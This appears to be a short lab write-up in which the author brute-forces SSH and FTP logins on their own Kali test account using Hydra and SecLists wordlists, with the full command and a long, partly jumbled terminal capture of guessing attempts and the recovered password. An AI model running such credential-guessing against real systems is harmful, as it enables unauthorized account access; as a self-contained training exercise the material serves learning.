

Hydra Cracking passwords

For this exercise, I created a user 'test_user' in Kali Linux with the password 'testpass'. We will use Hydra and SecLists to crack the password.

1.- Download the SecLists package to obtain a large list of usernames and passwords:

sudo apt-get install seclists

2.- Run the Hydra command with the lists of usernames and passwords using the SSH protocol and the target machine:

hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.1.53 -t4 ssh

This command was run using the **ssh** and **ftp** protocols

```
File Actions Edit View Help
Kali Linux 2024.1-virtualbox-and64 [in execution] - Oracle VM VirtualBox

Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
220 Entering Extended Passive Mode (|||10047|)
130 Here comes the directory listing.
226 Directory send OK.
ftp> sysinfo
?Invalid command.
ftp> exit
221 Goodbye.

[kali@kali:~]$
[kali@kali:~]$ ssh test_user@192.168.1.62
test_user@192.168.1.62's password:
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC kali 6.6.9-1kali1 (2
01-08) x86_64

The programs included with the Kali GNU/Linux system are free soft
ware; the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*-copying1.txt.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 16 08:24:21 2024 from 192.168.1.62
test_user@kali:~$
$
TX packets 98405 bytes 7779805 (7.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 64690 bytes 641753 (6.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 64690 bytes 641753 (6.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

test_user@kali:~$
$ ftp 192.168.1.62
Connected to 192.168.1.62.
220 (vsFTPd 3.0.3)
Name (192.168.1.62:test_user): test_user
230 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> sysversion
?Invalid command.
ftp> sysinfo
?Invalid command.
ftp>

[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "banzai"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "banner"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "artem"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "9962876"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "5656"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "1945"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "159632"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "15151515"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "123456qw"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "12345678"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "02051983"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "02061983"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "02031987"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "02021989"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "zi+2c3va"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "xing"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "v5jamel"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "twenty"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "toolman"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "tbing"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "testpass"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "stretch"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "stonecol"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "soulmate"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "sonny"
[25][ftp] host: 192.168.1.62 login: test_user password: testpa
ss
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 202
4-05-16 09:15:20

[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "buster"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "soccer"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "harley"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "batman"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "andrew"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "tiger"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "sunshine"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "loveyou"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "fuckme"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "2000"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "charlie"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "robust"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "thomas"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "hockey"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "ranger"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "daniel"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "starwars"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "k1aster"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "112233"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "george"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "computer"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "michelle"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "jessica"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "pupper"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "1111"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "xxcvbn"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "5555555"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "11111111"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "13131313"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "freedom"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "777777"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "pass"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "fuck"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "maggie"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "1597531"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "aaaaaa"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "ginger"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "cricket"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "joshua"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "cheese"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "amanda"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "summer"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "ashley"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "6666"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "testpass"
[ATTEMPT] target 192.168.1.62 - login "test_user" - pass "nicole"
[25][ssh] host: 192.168.1.62 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-16 09:18:47

[kali@kali:~]$ cd /usr/share/seclists/Passwords/
$
```

After a long time, Hydra found the correct password.